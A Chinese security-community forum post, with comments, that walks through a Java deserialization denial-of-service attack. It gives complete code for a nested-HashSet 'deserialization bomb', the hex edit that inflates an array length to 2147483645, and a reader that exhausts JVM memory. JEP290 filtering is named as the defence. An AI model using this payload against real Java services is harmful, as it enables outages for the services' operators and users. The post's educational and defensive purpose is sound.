新手716814 发表于 2023-10-11 08:45
  
感谢分享,构建全联接的未来
新手626351 发表于 2023-10-11 08:49
  
感谢分享,构建全联接的未来
新手716814 发表于 2023-10-13 10:56
  

感谢楼主分享,努力学习中!!!!
新手378833 发表于 2023-10-16 09:26
  
学习到了,有助于工作!
新手626351 发表于 2023-10-17 08:52
  
感谢楼主分享,学习一下
新手716814 发表于 2023-11-3 14:50
  
感谢楼主分享,努力学习中!!!!
jan 发表于 2023-11-14 09:10
  
每天学习一点点,每天进步一点点。
【大白分享】渗透安全之Java反序列拒绝服务攻击分享
  

山东_朱文鑫 42251人觉得有帮助

{{ttag.title}}
本帖最后由 山东_朱文鑫 于 2023-6-10 22:09 编辑

家好,我是大白,行必诚,言必信;法必依,治必严。依旧感谢各位小伙伴的一路支持与陪伴。

本篇继续延伸发布渗透篇章,本次主要是对Java反序列拒绝服务攻击,进行的实战案例分享,同样还是对于好多小伙伴来说,这个更加偏向于安服,总体来说确实更加偏向于安服但是对于安全知识的了解以及更加层次的学习甚至使用都比较重要,我们可以一同研习一下渗透的“魅力”。


设备漏洞攻击往往是因为代码参数在配置过程中不规范,不考虑安全性导致的一些漏洞本可以关闭但是却被忽略。



*本篇章将本着学习的态度进行分享,严禁用于个人非法行为以及黑产获取!!!!

前不久看到一段ObjectInputStream代码,发现一处可以利用手工构造的序列化数据来虚耗内存的问题,针对本次发现的问题进行测试漏洞记录。


通过输入简单修改过的序列化数据,可实现占用任意大小的内存,结合其他技巧,可ObjectInputStream.readObject方法卡住,占用的内存不被释放,导致其他正常业务进行内存申请时报OutOfMemoryError异常来进行拒绝服务攻击。


在反序列化数组时, 在ObjectInputStream.readArray 方法中,会从InputStream读取数组长度,并按照数组长度来创建数组实例,那么主要我们对序列化数据中的数组大小进行修改,此处就可以无意义的消耗内存,代码filterCheck这部分就是JEP290的检查点。


在创建好指定长度的数组实例后,就会开始依次从流中读取数组中所存储的对象。

由于我们输入的数据实际没有那么长(例如实际数组长度是123,我们修改后的是MAX_INT-2=2147483645个,没有那么多数据),在读取过程中会出现错误,所以此处需要想办法让其卡住,以至于不出错退出。


通过以上可知可以构造一个特殊的多层HashSet对象叫做反序列化炸弹,使其序列化数据在反序列化过程中一直执行,不会报错,并且使其一直停在第一个对象的readObject流程中。

序列化包构造:

  1. import java.io.FileNotFoundException;
  2. import java.io.FileOutputStream;
  3. import java.io.IOException;
  4. import java.io.ObjectOutputStream;
  5. import java.lang.reflect.Field;
  6. import java.util.HashSet;
  7. import java.util.Set;
  8. import java.util.Vector;

  9. public class test {
  10.    public static void main(String[] args){
  11.      //Effective Java的反序列化炸弹部分构造
  12.      Set<Object> root = new HashSet<>();
  13.      Set<Object> s1 = root;
  14.      Set<Object> s2 = new HashSet<>();
  15.      for (int i = 0; i < 100; i++) {
  16.        Set<Object> t1 = new HashSet<>();
  17.        Set<Object> t2 = new HashSet<>();
  18.        t1.add("foo"); // Make t1 unequal to t2
  19.        s1.add(t1); s1.add(t2);
  20.        s2.add(t1); s2.add(t2);
  21.        s1 = t1;
  22.        s2 = t2;
  23.      }
  24.      FileOutputStream FIS = null;
  25.      try {
  26.        FIS = new FileOutputStream("evil.obj");
  27.      } catch (FileNotFoundException e) {
  28.        e.printStackTrace();
  29.      }
  30.      try {
  31.        ObjectOutputStream OOS = new ObjectOutputStream(FIS);
  32.        Vector<Object> vec = generateObj(root);
  33.        //如果想消耗更多内存可以多加包裹几层vector
  34.        //vec = generateObj(vec);
  35.        OOS.writeObject(vec);
  36.      } catch (IOException e) {
  37.        e.printStackTrace();
  38.      } catch (NoSuchFieldException e) {
  39.        e.printStackTrace();
  40.      } catch (IllegalAccessException e) {
  41.        e.printStackTrace();
  42.      }
  43.    }
  44.    private static Vector<Object> generateObj(Object root) throws NoSuchFieldException, IllegalAccessException {
  45.      Vector<Object> vec = new Vector<>();
  46.      //为了后面方便修改替换,这里把vector的内部数组长度改为123
  47.      Object[] objects1 = new Object[123];
  48.      //设置数组的第一个元素为
  49.      objects1[0]=root;
  50.      Field elementData = vec.getClass().getDeclaredField("elementData");
  51.      elementData.setAccessible(true);
  52.      elementData.set(vec,objects1);
  53.      return vec;
  54.    }
  55. }
复制代码

2.把Object数组的长度从123(16进制为00 00 00 7B)改成一个比较大的数(java最大允许的数组长度为MAX_INT-2=2147483645,十六进制为7F FF FF FD)

通过HxD修改序列化数据中的数组长度,修改前:


修改后:


反序列化:

  1. import java.io.*;
  2.   public class testRead {
  3.     public static void main(String[] args){
  4.       try {
  5.         System.out.println("Start ReadObject");
  6.         FileInputStream FIS = new FileInputStream("evil.obj");
  7.         ObjectInputStream OIS = new ObjectInputStream(FIS);
  8.         OIS.readObject();
  9.       } catch (FileNotFoundException e) {
  10.         e.printStackTrace();
  11.       } catch (IOException e) {
  12.         e.printStackTrace();
  13.       } catch (ClassNotFoundException e) {
  14.         e.printStackTrace();
  15.       }
  16.     }
  17.   }
复制代码

调试时可以看到调用Array.newInstance创建大小为2147483645的数组,单次占用空间大约8GB,通过包裹多层Vector可以使占用大小不断扩大。


之后在执行反序列化数组中元素时,会一直在反序列化炸弹的反序列化流程中。


运行结果:

    1.给-Xmx8100M的条件下执行会直接OOM


    2.给-Xmx16100M的情况下会在readObject时卡住,并占用大量内存:



*本篇章将本着学习的态度进行分享,严禁用于个人非法行为以及黑产获取!!!!

复现完成,此漏洞可以过配置JEP290机制进行防御,因为JEP290默认不开所以很容易出现这种点位的漏洞问题。

以上就是本次的渗透安全之Java反序列拒绝服务攻击分享,后续我可以整理一下JAVA的反序列化炸弹的原理结构进行详解供各位小伙伴进行学习,感谢大佬们的参阅,此贴先到这里后续会带上更加优质的帖子,感谢大家!

励志分享超清壁纸语句~~:


内既坚实,则外界之九千九百九十九种恶口,当亦如秋风一吹,青蝇绝响。-鲁迅

好的今天就到这里,老样子,感谢各位大神的参阅,孩子为了挣豆子不容易,孩子家里穷没豆子吃饭了!!!

打赏鼓励作者,期待更多好文!

打赏
26人已打赏

发表新帖
热门标签
全部标签>
每日一问
2024年技术争霸赛
干货满满
技术盲盒
技术笔记
产品连连看
GIF动图学习
信服课堂视频
秒懂零信任
标准化排查
新版本体验
2023技术争霸赛专题
通用技术
每周精选
安全攻防
答题自测
自助服务平台操作指引
功能体验
每日一记
场景专题
在线直播
问题分析处理
运维工具
玩转零信任
技术晨报
文档捉虫活动
技术咨询
畅聊IT
专家问答
技术圆桌
MVP
网络基础知识
安装部署配置
升级
上网策略
测试报告
日志审计
流量管理
云计算知识
用户认证
原创分享
解决方案
sangfor周刊
VPN 对接
项目案例
SANGFOR资讯
专家分享
技术顾问
信服故事
SDP百科
功能咨询
终端接入
授权
设备维护
资源访问
地址转换
虚拟机
存储
迁移
加速技术
排障笔记本
产品预警公告
信服圈儿
S豆商城资讯
技术争霸赛
「智能机器人」
追光者计划
深信服技术支持平台
社区帮助指南
答题榜单公布
纪元平台
卧龙计划
华北区拉练
天逸直播
以战代练
山东区技术晨报
齐鲁TV
华北区交付直播
北京区每日一练

本版达人

ggbang

本周建议达人

adds

本周提问达人